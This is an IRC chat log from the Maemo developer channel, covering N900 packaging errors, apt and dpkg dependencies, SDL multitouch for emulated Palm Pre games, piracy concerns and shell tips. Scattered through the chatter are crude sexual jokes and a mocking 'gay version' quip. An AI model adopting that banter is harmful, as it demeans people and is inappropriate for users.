Khertan	hrw\|uds, hum ... arg not available on n900	19:38
javispedro	Khertan: looks like a syntax error in control file	19:38
* hrw\|uds agrees with javispedro		19:39
Khertan	hum ... ok thanks will try to found it manually so :)	19:39
hrw\|uds	Khertan: dpkg-checkbuilddeps reads debian/control and checks are all deps are installed	19:39
hrw\|uds	Khertan: always do local builds first	19:39
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Khertan	hrw\|uds, local build don't work on n900 :)	19:41
Khertan	found the problem a space is missing	19:41
Khertan	yeah !	19:41
hrw\|uds	Khertan: so do that in maemosdk?	19:41
Khertan	doesn't run on device ;)	19:41
javispedro	maybe Nokia knew that we hated pulseaudio and the xprot stuff, so they removed it without fixing the speakers, thereby limiting the output volume?	19:41
javispedro	and thus, they had to add some "hearing aid"	19:41
Jaffa	:)	19:42
hrw\|uds	Khertan: all packages are in maemosdk. you should be able to get them on device ;D	19:42
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hrw\|uds	Khertan: what new in khweeteur?	19:42
Khertan	hrw\|uds, and i'm writing a distutils extension for python standart packaging tools :)	19:42
Khertan	hrw\|uds, bugs ... geolocalisation ... and more bugs	19:42
hrw\|uds	Khertan: bugs... there are far too many of them already ;d	19:43
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Khertan	hrw\|uds, and it s package with a new packaging system	19:43
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Khertan	hrw\|uds, there is no bugs, just network errors	19:43
hrw\|uds	Khertan: I hope that one day you will have version which will scroll smoothly	19:43
Khertan	hrw\|uds, it s already scroll smoothly	19:43
Khertan	hrw\|uds, did you try it with pr1.3 ?	19:43
hrw\|uds	I have pr1.3	19:44
hrw\|uds	let me check	19:44
Khertan	so it should scroll smoothly	19:44
Khertan	it s works for me :)	19:44
Khertan	of course ... it didn't scroll well if you have a load average of 10	19:44
hrw\|uds	I scrolled a bit and it switched to "I am busy now" ;D	19:45
Khertan	?	19:45
Khertan	strange	19:45
hrw\|uds	Khertan: too often I end with "7 days ago" tweets displayed after initial scroll	19:45
Khertan	didn't had such problem	19:45
Khertan	did you have played with transition.ini ?	19:45
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Khertan	or some other settings ?	19:46
hrw\|uds	Khertan: my transition.ini is full of 0's	19:46
Khertan	maybe this explain that	19:46
Shapeshifter	btw, are these games really "just SDL"? I don't even see multi touch support in SDL	19:46
Khertan	with a standart transition.ini no problem	19:46
Khertan	:)	19:46
hrw\|uds	Khertan: with standard one the whole ssytem also lags compared to 0s	19:46
Khertan	hrw\|uds, you have a problem somewhere so ... i didn't had such problem	19:47
ruskie	hmm so anyone running a more recent kernel on the n900(m5) with full functionality?... or got the dual booting stuff working yet?	19:47
* hrw\|uds -> other sessions		19:48
hrw\|uds	bbl	19:48
Shapeshifter	or at least they removed all the code in 1.3 apparently...	19:48
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ruskie	why are ppl so obssede with multitouch?	19:48
javispedro	ruskie: meego-arm have	19:48
Khertan	because they didn't have a keyboard on their device	19:48
javispedro	ruskie: ah, m5.	19:49
ruskie	:)	19:49
Khertan	what is m5 ?	19:49
frals	maemo5?	19:49
ruskie	I'm not impressed by the meego ux so I'll stick to m5...	19:49
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ruskie	still will give it a try	19:50
ozzi	Are the maemo/extra/ repos busy /	19:51
ozzi	?	19:51
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mece	At what state is host mode these days btw?	19:53
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Khertan	frals :)	19:56
mece	is frals a state now?	19:56
MohammadAG	m	19:56
MohammadAG	mece, just compiled and uploaded a (password protected) kernel	19:57
MohammadAG	not tested	19:57
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mece	:)	19:57
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fcrochik	any geeps users here? just published a new version and it is so much better now! :)	19:58
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Khertan	http://maemo.org/packages/view/nfsu-installer/ <<< is it really legal ?	19:59
ruskie	It will take original .ipk file from Palm Pre game and install it into the Maemo system. The game is meant to be played on Nokia N900 via PreEnv Palm Pre emulator.	20:00
ruskie	if you have a legal way to get the ipk sounds like it	20:00
Stskeeps	Jaffa: ^	20:00
Myrtti	sound awfully like the SNES emulators though	20:00
Stskeeps	yeah.. let's not repeat the emulator problem	20:00
javispedro	very probably isn't	20:00
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ruskie	what was the emulator prob?	20:01
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Myrtti	Nintendo sent cease and desist	20:01
ruskie	well technically to get a nintendo rom you need some interesting hardware to grab it out	20:02
ruskie	so biggest chance is that it's a rip off	20:02
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javispedro	not to mention that the only way to get an .ipk is either a) manipulating the catalog application (outside the reach of your average lemming) b) outright pirate it.	20:02
kW_	Hello! How can I fingerprint whether I have PR1.2 or PR1.3 on a particular root file system? (I have 2 instances of maemo on one N900 and do not know which one got updated now...)	20:02
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Myrtti	ruskie: you are a bit out of touch of the world if you assume that that is the only way to get nintendo roms	20:03
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javispedro	so, whoever talks about .ipk is usually publicy telling everyone "I'm either a überhacker or a pirate". Guess what one's more probable.	20:03
ruskie	Myrtti, did you read the other line?	20:03
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javispedro	when getting the games from your own pre there's no ipk file involved.	20:03
Jaffa	javispedro: Stskeeps: Khertan: there's nothing intrinsically obviously wrong with that package from a legal PoV AFAICT. Although it'd be better if the "buy NFSU game" and "download .ipk" links took you somewhere relevant.	20:03
Jaffa	javispedro: Ah.	20:03
mgedmin	OpenWRT uses .ipk packages, iirc	20:04
* Jaffa assumes X-Fade approved the garage project.		20:04
javispedro	mgedmin: that's the "I'm a überhacker" part.	20:04
mgedmin	I'm guessing flashing a custom firmware onto your wireless router qualifies as uberhackery	20:04
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ruskie	kW_, settings -> about	20:04
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kW_	ruskie: well, both instances tell me "Version: 20.2010.36-2"	20:06
RST38h	mooojavispedro, mgedmin, the rest	20:06
javispedro	moo	20:07
kW_	ruskie: some other files would have changed, and this should be visible by their file date... or by different versions of certain packages or so	20:07
ruskie	check /etc/init.d/rcS	20:07
ruskie	the later one should have an extra line	20:07
ruskie	erm the more recent one I meant	20:07
ruskie	+echo 20 > /proc/sys/net/unix/max_dgram_qlen	20:09
ruskie	specifically that's new	20:09
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mece	Tragedy struck a couple of days ago. My friends N900 met a watery death :/	20:10
kW_	ruskie: I see	20:11
Shapeshifter	javispedro: I'm trying to figure out how the palm pre games manage to get multitouch input. Because SDL 1.2 doesn't have any multitouch support, I assume they're using custom events, and maybe they are reading directly from the input device (touch screen). Do you have a pre?	20:11
javispedro	Shapeshifter: I think I told you to read on SDL and multiple mice..	20:11
kW_	ruskie: that worked, now I can identify the correct instance .-)	20:11
mece	So he was considering where to get a new one, and remembered a girl who bought one on an impulse half a year ago.	20:11
Shapeshifter	javispedro: multiple mice? I didn't find anything, really. Is the palm running X, even? multi pointer X? I thought that doesn't even exist yet.	20:12
mece	So he tried to market an iphone 4 to her as the be all end all device, so she would feel like selling her n900 to him.	20:12
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mece	the answer was pretty clear. "The iphone is a toy, and I don't want it. Also, I love my N900 more than life itself. So no deal."	20:13
mece	so apparently non-nerds can enjoy the n900 too :)	20:14
lcuk	mece, non nerds may be able to, but they also give threats involving violence if certain updated levels of angry birds are not released :P	20:15
mece	lcuk, not this one though.	20:15
mece	lcuk, those people don't love their n900.	20:15
ruskie	damn... would love to meet girls like that	20:16
f0rk\|n900	those certain people should get an iphone	20:17
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Shapeshifter	javispedro: people in #sdl are quite convinced that SDL 1.2 does not have any support of that kind. And googling for "multiple mice event" or similar things only yields your thread on tmo ^^	20:17
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javispedro	Shapeshifter: there's this thing called sdl 1.3 ... :)	20:19
VilhelmO	I'm thinking about getting a N900 but I dont really know it's already a year old device but hey maybe that's a good thing? it's propably alot better know than it was when it was first shipped	20:19
RST38h	new icons for meego handset! yummy!	20:19
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RST38h	Vilhelmo: Depends on what you want	20:20
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Shapeshifter	javispedro: but, but... the n900 and the pre use sdl 1.2 I thought	20:21
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Shapeshifter	I know that sdl 1.3 has multitouch.	20:21
javispedro	Shapeshifter: the Pre uses a heavily modified SDL1.2, the changes of which have been released by Palm as per the GPL	20:21
* javispedro quotes himself		20:21
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VilhelmO	RST38h: well I'm pretty geeky if I would get it I would not get it just for the phone	20:22
Shapeshifter	javispedro: ah	20:22
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DocScrutinizer	mece: damn, this girl clearly qualifies for premium nerd in my book	20:24
mece	DocScrutinizer, well afaik she doesn't know anything about computers other than writing her thesis on one :)	20:25
laasonen	I'm trying to connect to internet via 3G with this command: dbus-send --system --type=method_call --dest=com.nokia.phone.SSC /com/nokia/phone/SSC com.nokia.phone.SSC.set_radio boolean:true	20:25
laasonen	And nothing happens.	20:25
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djszapi	how can I manually restart X on my mobile ?	20:27
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laasonen	killall Xorg?	20:28
DocScrutinizer	killall hildon-desktop might be a start	20:28
laasonen	That doesn't restart X-server afaik?	20:28
tripzero	sudo buzzkill	20:29
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DocScrutinizer	hmm probably not	20:29
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DocScrutinizer	so it's reboot then :-P	20:30
mece	wouldn't killing Xorg do the trick?	20:30
tripzero	should	20:30
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mece	lemme try	20:30
tripzero	something is acting as a watchdog to restart it if it ever crashes	20:30
mece	uh -oh	20:30
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mece	yes	20:30
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* DocScrutinizer shrugs		20:31
mece	lol	20:31
DocScrutinizer	there's a Xorg process	20:31
mece	well, it rebooted the device	20:31
mece	DocScrutinizer, killing it reboots the device	20:31
DocScrutinizer	toldya	20:31
DocScrutinizer	reboot is it then	20:31
mece	DocScrutinizer, eyup	20:31
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mece	I miss ctrl-alt-f2 (or other f's)	20:32
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mece	on N900	20:32
DocScrutinizer	hmm	20:33
DocScrutinizer	dunno if matchbox supports multiple x-sessions	20:33
tripzero	should	20:33
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Myrtti	I just taught my sister how to make a photo collection CD with Brasero and F-spot over the phone. I feel so proud...	20:34
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RST38h	she has got linux???	20:34
DocScrutinizer	what's her phone number?	20:34
Myrtti	RST38h: sisters don't let sisters run Windows	20:35
DocScrutinizer	:-D	20:35
Myrtti	I got fed up trying to fix her Windows since I've not used it for years myself	20:35
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DocScrutinizer	hehehehe	20:35
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RST38h	hehe	20:35
RST38h	nothing spreads linux better than Win7	20:36
lcuk	hm	20:36
Myrtti	she had W2K	20:36
DocScrutinizer	omg	20:36
RST38h	soiled w2k, surely?	20:36
lcuk	my son likes win7 and has a mild panic attack when I suggest booting linux	20:36
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Myrtti	RST38h: this was a year ago, when I finally gave up on it and got a new-ish computer for her	20:36
* DocScrutinizer cackles		20:36
RST38h	hehe x3	20:37
DocScrutinizer	lcuk: get that win theme for linux, and tell him after a week he used linux since...	20:38
nid0	win2k was great	20:38
lcuk	DocScrutinizer, media centre wont work on it	20:38
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DocScrutinizer	hmm, beat wine to it	20:39
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DocScrutinizer	though bah mediacenter	20:39
lcuk	not worth hassle, will meegoify it when its ready	20:39
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lcuk	its 20" multitouch already and he will make a good tester	20:40
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DocScrutinizer	wut, 20" mt o.O	20:40
nid0	?	20:40
lcuk	20" MT allinone, nice intel rig apart from failing the boobie test	20:40
ruskie	hmm need to put some money aside for the touchbookv2...	20:40
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ruskie	or maybe the smartbook... can't really decide but already have a mid so don't really need the mid	20:41
DocScrutinizer	lcuk: what's your average cleanser detergent consumption? :-P	20:41
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lcuk	DocScrutinizer, not very high	20:41
lcuk	touch isnt used because windows makes for gorilla arm	20:42
DocScrutinizer	yeah, son doesn't care the chocolate stains	20:42
lcuk	its ok when we are stood around	20:42
lcuk	the youngest does, the surface games are quite neat	20:42
lcuk	shame about the boobies	20:42
lcuk	:(	20:42
Noobmonk3y	did someone say boobies?	20:43
lcuk	lol Noobmonk3y	20:43
DocScrutinizer	.oO(???)	20:43
lcuk	yes	20:43
Noobmonk3y	evvvvvvening!!!	20:43
BCMM_	Noobmonk3y: do you highlight on that?	20:43
lcuk	http://liqbase.net/liq.packard.bell.multitouch.boobies.fail.20100402_003.mp4	20:43
Noobmonk3y	BCMM, my highlight list would scare people!	20:43
Khertan	WHHHHYYYY my package icon isn't working	20:43
lcuk	i guess its a driver failure, hoping that linux gets it right :)	20:44
Khertan	i require some help :)	20:44
DocScrutinizer	friggin shit, my konqi just downloads that mp4	20:44
lcuk	reboot	20:44
DocScrutinizer	need to use N900 :-P	20:44
Noobmonk3y	lol lcuk, unable to play on the n900	20:44
lcuk	then download it and watch :P	20:44
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Noobmonk3y	khertan?	20:44
lcuk	Noobmonk3y, shouldnt be a problem, it was recorded on one	20:44
Noobmonk3y	meh, says it cant palay	20:44
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Khertan	Noobmonk3y, http://repository.maemo.org/extras-devel/pool/fremantle-1.3/free/k/khweeteur-experimental/khweeteur-experimental_0.0.39-7_armel.deb	20:45
DocScrutinizer51	nah	20:45
Khertan	:)	20:45
Khertan	i didn't understand why HAM didn't see the icon	20:45
lcuk	Noobmonk3y is furiously downloading it to his specially sorted downloads folders	20:45
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Khertan	http://maemo.org/packages/view/khweeteur-experimental/ <<< didn't see it too	20:45
Khertan	pfff	20:45
Noobmonk3y	lol	20:46
javispedro	Shapeshifter: re multitouch stuff, since there's both the ugly way and the beatiful way, I suggest you wait for now.	20:46
DocScrutinizer	MEH! :-/ media format not supported	20:46
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DocScrutinizer	WTF?	20:46
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Noobmonk3y	lol lcuk! saw that ages ago!	20:48
Noobmonk3y	wasnt that the first thing you tested on the fail screen?	20:48
DocScrutinizer	lcuk: HOORAY, looks pretty nice:	20:48
lcuk	yes	20:48
DocScrutinizer	ftypmp42 mp42isom3gp6	20:48
DocScrutinizer	etc	20:48
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lcuk	Noobmonk3y, i did extensive research and pretty much every screen i tried it on failed	20:49
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lcuk	so i didnt take it back in the end and luke has it now	20:49
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DocScrutinizer	I'm not going to dl this with wget, to find out none of my players knows how to playback it	20:50
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Noobmonk3y	lcuk... sounds like the boobies test should be a basic manufacturers test for multitouch!!!	20:52
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lcuk	well it is quick and simple enough to perform :)	20:53
Shapeshifter	javispedro: mhh	20:53
Noobmonk3y	whats the gay version? bum cheek test?	20:53
Noobmonk3y	brighton can get multitouch too, wohoooooo	20:53
Myrtti	oh good grief	20:54
lcuk	i dunno, do computers have touch panels on the backside?	20:54
Noobmonk3y	:)	20:54
RST38h	some do	20:54
Noobmonk3y	lol lcuk!!!	20:54
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RST38h	In fact, a joypad at the backside is my favorite idea	20:54
Noobmonk3y	!!!	20:54
Noobmonk3y	you can tell when i join..... the conversation goes seriously downhill!!	20:55
DocScrutinizer	hmm, I suggested implementing a capacitive MT TS to battery cover, some months ago	20:55
merlin1991	indeed	20:55
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Noobmonk3y	frals, trout	20:56
* frals slaps Noobmonk3y around a bit with a large trout		20:56
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lcuk	RST38h, DocScrutinizer - its actually a really good principle and I am far from knocking it as a solid idea!	20:56
Noobmonk3y	wooop	20:56
Noobmonk3y	back latersl	20:56
lcuk	but it wouldnt work all time because of using device resting against things	20:56
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Khertan	https://garage.maemo.org/pipermail/extras-cauldron-builds/2010-October/029689.html	20:57
Khertan	mOUarAF	20:57
VilhelmO	guysm, Do you use a shield to protect the display?	20:57
DocScrutinizer	lcuk: of course it's a complementary concept	20:58
* lcuk nods		20:58
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nid0	VilhelmO personally I dont, a lot of people do though	20:59
nid0	my device is in a case whenever it's not being used though	20:59
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CreamyG	can someone explain why adding liblua5.1-0 to my control file Depends: doesn't make it install? It's in Extras, installs fine manually, but dpkg or HAM just complain it's not installed yet	21:01
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Khertan	CreamyG, maybe liblua isn't installable	21:05
CreamyG	of course it is, type apt-get liblua5.1-0 and its fine	21:06
CreamyG	or install my package that depends on it, type apt-get upgradge -f later, and it installs it	21:06
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Myrtti	hum	21:07
Khertan	yep ... the obscur error of HAM :)	21:07
CreamyG	dpkg does the same thing though, just with more info	21:07
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CreamyG	it says oooh its not installed, skipping configure	21:08
CreamyG	and leaves my thing half installed	21:08
nid0	dpkg will do	21:08
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Khertan	dpkg didn't install dependancies	21:08
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CreamyG	well ham is just calling dpkg isn't it	21:08
nid0	no, apt	21:08
Khertan	apt	21:09
Khertan	:)	21:09
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CreamyG	hmmm does apt call dpkg? just wondering cuz i know the "faster app manager" uses it	21:09
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MohammadAG	fapman uses apt, apt is a frontend for dpkg	21:10
CreamyG	makes sense.. ok thx	21:10
MohammadAG	HAM doesn't call apt	21:10
MohammadAG	HAM calls apt-worker, which calls apt-get, which calls dpkg	21:10
MohammadAG	that first thing is what makes it slow	21:11
CreamyG	so is the fact that the library i need is in a bunch of repositories confusing it you think? cuz its duplicated in all branches of extras - testing & devl	21:12
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Khertan	grrr autobuilder seems to doesn't works as it should	21:13
MohammadAG	how come?	21:13
MohammadAG	CreamyG, no	21:13
Khertan	khweeteur stay in the queue	21:13
MohammadAG	CreamyG, you're either doing it wrong, or something's wrong with the device	21:13
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Khertan	koffice and pyside mobility was taken not khweeteur	21:13
Khertan	i got before a strange error : https://garage.maemo.org/pipermail/extras-cauldron-builds/2010-October/029689.html	21:13
Khertan	ok ... will retry this tomorrow	21:14
Khertan	this is borring me :)	21:14
Khertan	stupid debian control file !	21:14
Khertan	a space made things broken	21:14
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Shapeshifter	javispedro: I'm still not sure how it would be possible anyway, because either you'd need to push SDL events to the SDL event queue of the app, which would be easy enough but which is impossible if the app doesn't have the event queue exposed, which I strongly suspect (or do you think/know that the palm actually uses SDL events to communicate with a running game?) or you'd have to alter whatever the input device sends or whatever	21:16
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javispedro	Shapeshifter: that is normal SDL stuff. the ugly part I'm telling about is that you need 1.3 headers.	21:17
javispedro	Shapeshifter: SDL_PushEvent =)	21:17
Shapeshifter	javispedro: well I'd need the headers palm used, no?	21:17
javispedro	Shapeshifter: those are SDL1.3 mostly	21:17
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Shapeshifter	javispedro: but SDL_PushEvent only works "inside" an application. the queue is per context	21:18
javispedro	the queue is per-application, why you say otherwise?	21:19
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Shapeshifter	javispedro: yes. then it is impossible to push an event to one of the existing games	21:19
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javispedro	Shapeshifter: I think you're grasping something wrong here... :P	21:20
Shapeshifter	possibly	21:20
javispedro	Shapeshifter: libsdlpre si a library that links with the application. so, it is now part of the application.	21:20
javispedro	if you alter the queue, you are altering the application's queue.	21:21
javispedro	not "the library's own copy of the queue", which doesn't exist.	21:21
Shapeshifter	ah haa	21:21
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Shapeshifter	so once a palm pre game runs, and I start a second palm pre game (or a custom made program that uses that lib), they all still use the same queue?	21:22
Shapeshifter	well that helps	21:22
javispedro	I should have used the word "process" instead of application.	21:22
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Noobmonk3y	oooo palm pre games on the N900?	21:22
johnsq	Hi	21:22
Noobmonk3y	hi john!	21:23
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Shapeshifter	javispedro: I see. And you're saying I'll be having trouble compiling my stuff	21:23
javispedro	Shapeshifter: I'm saying it will be a mess.	21:24
* javispedro sighs		21:25
javispedro	I did not want to do Preenv work today!	21:25
* javispedro goes to work		21:25
Shapeshifter	aww	21:25
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maybeWTF	seriously	21:26
maybeWTF	xplane alone...	21:26
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* maybeWTF is a very happy camper \o/		21:26
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Shapeshifter	mhh, patch from palm towards SDL 1.2 has 16'000 lines	21:27
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MohammadAG	I'm selling my N900 for an N8, it was nice to be part of the community	21:29
Noobmonk3y	lol!!!	21:29
Stskeeps	MohammadAG: it's a nice phone	21:29
Noobmonk3y	sit down comedian	21:29
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Noobmonk3y	Mozillion, how much?	21:30
Noobmonk3y	Mohammadag_ even	21:30
MohammadAG	the N900?	21:30
Noobmonk3y	yup	21:30
javispedro	MohammadAG: no angry farewell note?	21:30
MohammadAG	about umm quick in head conversion	21:30
MohammadAG	400 bucks	21:30
MohammadAG	YOU ALL SUCK!!!1111!!!!!	21:30
MohammadAG	Nokia, you suck!!!	21:30
Noobmonk3y	bucks! lol :)	21:30
MohammadAG	happy javispedro ?	21:30
MohammadAG	:P	21:30
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Stskeeps	MohammadAG: you can't beat qwerty12's exit, i'm sorry	21:30
Stskeeps	:P	21:30
Noobmonk3y	could always do with another phone :)	21:31
javispedro	MohammadAG: "you Nokia suck!" "now gimme N8!"	21:31
Noobmonk3y	Stskeeps, agreed	21:31
MohammadAG	Stskeeps, I can swear, but I'm sure I don't want +b on a channel	21:31
javispedro	;P	21:31
Shapeshifter	huh	21:31
MohammadAG	ah who am I kidding, qwerty12 ftw at rants	21:31
Shapeshifter	query12 exited?	21:31
Shapeshifter	*ty	21:31
* MohammadAG takes Shapeshifter out of his cave		21:32
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MohammadAG	no goodbyes? :(	21:32
Noobmonk3y	meh.... MohammadAG if you're leaving i should leave too and get a brick.... i might be able to figure out brick coding.....	21:32
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Shapeshifter	you know, I don't live here ;)	21:32
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* Noobmonk3y waves bye bye		21:32
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javispedro	MohammadAG: no sane person would take a Symbian phone instead of anything other. Sorry, that is not a credible threat for me! =)	21:32
Noobmonk3y	javispedro, threat?	21:33
Noobmonk3y	:)	21:33
MohammadAG	javispedro, you're suggesting I should get an iPhone?	21:33
MohammadAG	javispedro, how dare you?	21:33
timeless_mbp	dear lazyweb	21:33
javispedro	MohammadAG: just saying :)	21:33
Noobmonk3y	Mohammadag_ how about no phone?	21:33
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MohammadAG	Noobmonk3y, how would I troll on the go on tmo?	21:34
timeless_mbp	anyone have a simple way to compare two directories?	21:34
MohammadAG	diff?	21:34
Noobmonk3y	get some good porn, some bacon and some booze :)	21:34
timeless_mbp	a directory is equal to another directory if each file has the same content	21:34
timeless_mbp	a symlink is equal to another symlink if the path data encoded in the symlink is the same	21:34
timeless_mbp	the symlinks may be e.g. "../../foo"	21:34
timeless_mbp	foo may or may not exist	21:35
kerio	ESPECIALLY BACON	21:35
Noobmonk3y	timeless_mbp, we are saying goodbye to MohammadAG :)	21:35
timeless_mbp	Noobmonk3y: why?	21:35
timeless_mbp	but if symlink 1 points to /home/user/a and symlink 2 points to /home/user/b and the contents of a and b are the same	21:35
Noobmonk3y	he's getting an eye-phoney	21:35
Trizt	MohammadAG; I thought you would have yours for ever, eatleast until stable meego?	21:35
kerio	wat	21:35
MohammadAG	nah, N8	21:35
timeless_mbp	then the symlinks are not the same	21:35
kerio	wait for the N9 :<	21:36
Noobmonk3y	N8 with an iTheme.....	21:36
MohammadAG	N8 with a Maemo theme :P	21:36
timeless_mbp	MohammadAG: diff -r fails miserably on the symlink case	21:36
Noobmonk3y	Mohammadag_ you suck..... trouts....	21:36
RST38h	N8 with emacs...	21:36
valdyn	timeless_mbp: rsync	21:36
timeless_mbp	valdyn: a specific commandline is appreciated	21:37
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valdyn	timeless_mbp: no idea, never used it for this	21:37
timeless_mbp	we spent about an hour trying to figure out how to do it w/ rsync	21:37
MohammadAG	rm -rf	21:37
RST38h	A recent survey of 750 Australian schools has revealed that on average children have grown too large for their chairs and desks.	21:37
MohammadAG	that's what I do when something doesn't work out	21:37
javispedro	timeless_mbp: it would be trivial to create an script that outputs each symlink relative path and link contents	21:37
javispedro	timeless_mbp: then diff those two plain text files	21:37
Trizt	timeless_mbp; what are you trying to compare, the data or just the file names?	21:37
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valdyn	timeless_mbp: maybe script it yourself, shouldnt be to hard	21:38
timeless_mbp	Trizt: data, raw data, not derefing symlinks	21:38
valdyn	timeless_mbp: or it should take 1 hour	21:38
timeless_mbp	valdyn: some files may be mb's large	21:38
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timeless_mbp	i don't really want to write my own file compare :(	21:38
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valdyn	timeless_mbp: you dont need to	21:38
Noobmonk3y	suprised lcuk has kept quiet.... tis rare	21:38
valdyn	timeless_mbp: write a loop around cmp	21:38
valdyn	timeless_mbp: or diff	21:38
valdyn	timeless_mbp: or rsync	21:38
lcuk	Noobmonk3y, i saw your bacon post :P	21:39
timeless_mbp	valdyn: still looking for command line args for rsync	21:39
Noobmonk3y	lol :) you mean u slurped at tit :)	21:39
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timeless_mbp	we tried a bunch of things	21:39
timeless_mbp	nothing worked	21:39
javispedro	I would do: for x in $files; do echo $x `readlink $x` > list; done in each of those two folders, then diff both list files.	21:39
MohammadAG	lcuk, and not my goodbye post? I'm disappointed	21:39
lcuk	timeless_mbp, i went through same issue when looking at optify stuff, i couldnt find a decent comparison other than dereferencing and then checking	21:39
timeless_mbp	note that a directory is not the same as another directory if one has a file not present in the other	21:39
lcuk	MohammadAG, if you were going you wouldnt request feedback	21:40
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timeless_mbp	javispedro: yeah, at that point i might as well use perl..	21:40
valdyn	timeless_mbp: rsync with -p doesnt do what you want?	21:40
MohammadAG	lcuk, I'm not requesting feedback, I'm just asking for a farewell	21:40
timeless_mbp	(your code isn't whitespace safe)	21:40
lcuk	ok, cya tomorrow o\	21:40
MohammadAG	anyways, if you hate giving those, bye :)	21:40
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Noobmonk3y	mohammadag_ has hidden a secret in his ubuntu port, its a big f*ck you, installs the iphone over maemo i hear....	21:40
timeless_mbp	-p, --perms preserve permissions	21:40
javispedro	timeless_mbp: it's nothing safe, it does not even check if file is a symlink or not, but you get the idea =)	21:40
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timeless_mbp	valdyn: ^ that's rsync's -p...	21:41
timeless_mbp	javispedro: yeah, i know how to do that	21:41
kerio	MohammadAG51: you'll come crawling back	21:41
kerio	we all know that	21:41
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timeless_mbp	i'd like to avoid writing my own dir walking code and such	21:41
timeless_mbp	heck, i'd like to avoid writing my own program	21:41
Noobmonk3y	MohammadAG51, sucks trouts ......	21:41
valdyn	timeless_mbp: I understand you want to preserve symlinks while also comparing the contents	21:41
timeless_mbp	valdyn: um..	21:42
javispedro	comparing, not overwiriting :P	21:42
timeless_mbp	basically on linux a symlink is "special"	21:42
valdyn	javispedro: same deal	21:42
timeless_mbp	i don't consider symlinks special	21:42
valdyn	timeless_mbp: i know what a symlink is	21:42
timeless_mbp	i want to read the underlying data that is in the actual symlink	21:42
valdyn	timeless_mbp: but i dont understand exactly what you want	21:42
timeless_mbp	dir1/foo: "hello world"}	21:43
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valdyn	timeless_mbp: dereference every symlink, is that it?	21:43
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timeless_mbp	valdyn: roughly readlink	21:43
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timeless_mbp	javispedro: understood that part correctly	21:44
timeless_mbp	s/:/ /	21:44
infobot	timeless_mbp meant: javispedro understood that part correctly	21:44
javispedro	valdyn: he wants to implement "f" in http://pastebin.com/r2QgYmBy	21:45
javispedro	(correct me if wrong)	21:45
timeless_mbp	that's correct for symlinks	21:46
timeless_mbp	dir4/a is a symlink to "../z"	21:46
valdyn	javispedro: understood	21:46
timeless_mbp	dir4/ has no other files	21:46
timeless_mbp	the other bits are f(dir1, dir4) := false	21:46
timeless_mbp	f(dir4, dir1) := false	21:47
timeless_mbp	dir5/a is a file with the same contents as x	21:47
timeless_mbp	dir5/b is a symlink to "../x"	21:47
timeless_mbp	f(dir1, dir5) := false	21:47
timeless_mbp	...	21:47
valdyn	timeless_mbp: or if not symlink, use data, if symlink, use linkpath	21:48
javispedro	sounds like perl already =)	21:48
timeless_mbp	valdyn: right...	21:48
timeless_mbp	javispedro: heh	21:48
timeless_mbp	it just seems incredibly lame to have to write a script for this	21:48
* DocScrutinizer51 gets goosepimples		21:49
javispedro	dunno, I guess we don't have any unix beard around	21:49
valdyn	timeless_mbp: doubt theres a single tool, find -type f should grab the files, find -type l should grab the links	21:50
Lynoure	Is there a 64bit flasher anywhere?	21:50
pupnik	timeless_mbp how could i limit the maximum brightness in a browser window? i.e. scale all colors to be less than full dynamic range?	21:50
timeless_mbp	valdyn: at that point i'd need a programming language anyway	21:50
pupnik	for any website	21:50
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valdyn	timeless_mbp: yes	21:51
valdyn	timeless_mbp: bash	21:51
* pupnik ponders glx options		21:51
timeless_mbp	valdyn: imo bash is too quote unfriendly	21:51
valdyn	timeless_mbp: this is a 2-liner only	21:51
timeless_mbp	valdyn: let's see it?	21:51
* DocScrutinizer51 gets more goosepimples		21:52
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timeless_mbp	pupnik: you could probably do * { opacity: 50 } and html { background-color: black }	21:52
timeless_mbp	i wouldn't recommend it	21:52
timeless_mbp	the performance should be terrible	21:53
lcuk	pupnik, just turn down screen brightness	21:53
timeless_mbp	(that's the only thing that comes to mind offhand)	21:53
lcuk	or wear sunglasses	21:53
Shadikka	s/#[0-9a-f]/magic/i	21:53
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pupnik	lcuk: this is about lowering browser color so it doesn't glare-out the video i'm watching on the side	21:55
pupnik	you don't listen to all music at 100% volume, for example	21:56
lcuk	hmm pupnik on n900 or desktop/laptop?	21:56
pupnik	lappy	21:56
lcuk	easier then, there are nighttime stylesheets?	21:57
* MohammadAG was bored and fucking around, I'd never sell the N900, not till the N9 arrives		21:57
lcuk	on device it might be a problem to do full dynamic alteration	21:57
pupnik	yeah if there were some way to hit a button and darken webpages a bit	21:57
pupnik	true lcuk	21:57
MohammadAG	actually, I won't sell it at all	21:57
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BCMM_	how did i not install queen beecon till now?	21:58
BCMM_	it's splendid	21:58
javispedro	MohammadAG: see, I was right. No one in his sane mind swaps a true phone for a symbian device.	21:58
MohammadAG	it's not a phone :P	21:59
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javispedro	a true gadget.	22:00
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MohammadAG	more like it :P	22:01
* MohammadAG still wants to know how to fork a process and deattach it from the existing shell		22:01
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javispedro	"nohup"?	22:02
MohammadAG	and no, script & doesn't work, since if the parent shell dies, the process dies	22:02
MohammadAG	hmm?	22:02
javispedro	man nohup on a sane GNU platform :)	22:02
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luke-jr	javispedro: does such a platform exist?	22:03
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javispedro	luke-jr: you tell me	22:03
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MohammadAG	ooh, nice	22:04
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Noobmonk3y	~bacon	22:07
infobot	hmm... bacon is a filling substance which will make you even fatter than you already are... Take my advice, bacon is a food for the gods or for underweight models such as that McBeal chick...	22:07
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Noobmonk3y	~trout	22:08
Noobmonk3y	fail.....	22:08
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maybeWTF	~android	22:09
infobot	methinks android is an Open Handset Alliance Project by Google or an alleged Open Source phone software stack that's really not open. http://code.google.com/android/, or if it's sometime actually freed, someone might port it on the neo, but the provided binaries are incompatible	22:09
Noobmonk3y	~lcuk	22:09
infobot	well, lcuk is a mighty good developer, best known for his work on liqbase and helping Nokia with the Identity project during the onedotzero event in London.	22:09
Noobmonk3y	:)	22:09
MohammadAG	hmm	22:09
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kerio	infobot: bacon is awesome	22:09
* infobot goes Footloose on is awesome, even though its illegal		22:10
MohammadAG	how do I use sed to remove ./ from ./mp-fremantle-generic-pr	22:10
Noobmonk3y	~MohammadAG	22:10
kerio	wut	22:10
kerio	infobot: bacon Noobmonk3y	22:10
kerio	what does that mean	22:10
* infobot goes Footloose on Noobmonk3y, even though its illegal		22:10
kerio	oh, here we go	22:10
MohammadAG	lol	22:10
Noobmonk3y	infobot: MohammadAG has left #maemo . He failed..... trout....	22:10
Noobmonk3y	lol!!!!	22:10
kerio	nice	22:10
Noobmonk3y	~MohammadAG	22:10
Noobmonk3y	failboat	22:11
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Noobmonk3y	welcome back Mo	22:11
MohammadAG	DocScrutinizer, any ideas?	22:11
javispedro	Noobmonk3y: use "to be", not "to have".	22:11
